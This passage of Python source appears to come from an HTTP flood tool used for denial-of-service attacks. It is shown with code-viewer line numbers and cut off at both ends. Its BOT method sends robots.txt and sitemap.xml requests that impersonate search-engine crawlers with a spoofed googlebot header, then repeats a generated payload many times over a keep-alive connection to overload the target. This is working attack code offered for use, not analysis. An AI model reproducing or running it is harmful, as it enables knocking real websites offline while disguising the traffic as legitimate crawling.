(self)
| 1067 | Tools.safe_close(s) |
| 1068 | |
| 1069 | def BOT(self) -> None: |
| 1070 | payload: bytes = self.generate_payload() |
| 1071 | p1, p2 = str.encode( |
| 1072 | "GET /robots.txt HTTP/1.1\r\n" |
| 1073 | "Host: %s\r\n" % self._target.raw_authority + |
| 1074 | "Connection: Keep-Alive\r\n" |
| 1075 | "Accept: text/plain,text/html,*/*\r\n" |
| 1076 | "User-Agent: %s\r\n" % randchoice(search_engine_agents) + |
| 1077 | "Accept-Encoding: gzip,deflate,br\r\n\r\n"), str.encode( |
| 1078 | "GET /sitemap.xml HTTP/1.1\r\n" |
| 1079 | "Host: %s\r\n" % self._target.raw_authority + |
| 1080 | "Connection: Keep-Alive\r\n" |
| 1081 | "Accept: */*\r\n" |
| 1082 | "From: googlebot(at)googlebot.com\r\n" |
| 1083 | "User-Agent: %s\r\n" % randchoice(search_engine_agents) + |
| 1084 | "Accept-Encoding: gzip,deflate,br\r\n" |
| 1085 | "If-None-Match: %s-%s\r\n" % (ProxyTools.Random.rand_str(9), |
| 1086 | ProxyTools.Random.rand_str(4)) + |
| 1087 | "If-Modified-Since: Sun, 26 Set 2099 06:00:00 GMT\r\n\r\n") |
| 1088 | s = None |
| 1089 | with suppress(Exception), self.open_connection() as s: |
| 1090 | Tools.send(s, p1) |
| 1091 | Tools.send(s, p2) |
| 1092 | for _ in range(self._rpc): |
| 1093 | Tools.send(s, payload) |
| 1094 | Tools.safe_close(s) |
| 1095 | |
| 1096 | def EVEN(self) -> None: |
| 1097 | payload: bytes = self.generate_payload() |
nothing calls this directly
no test coverage detected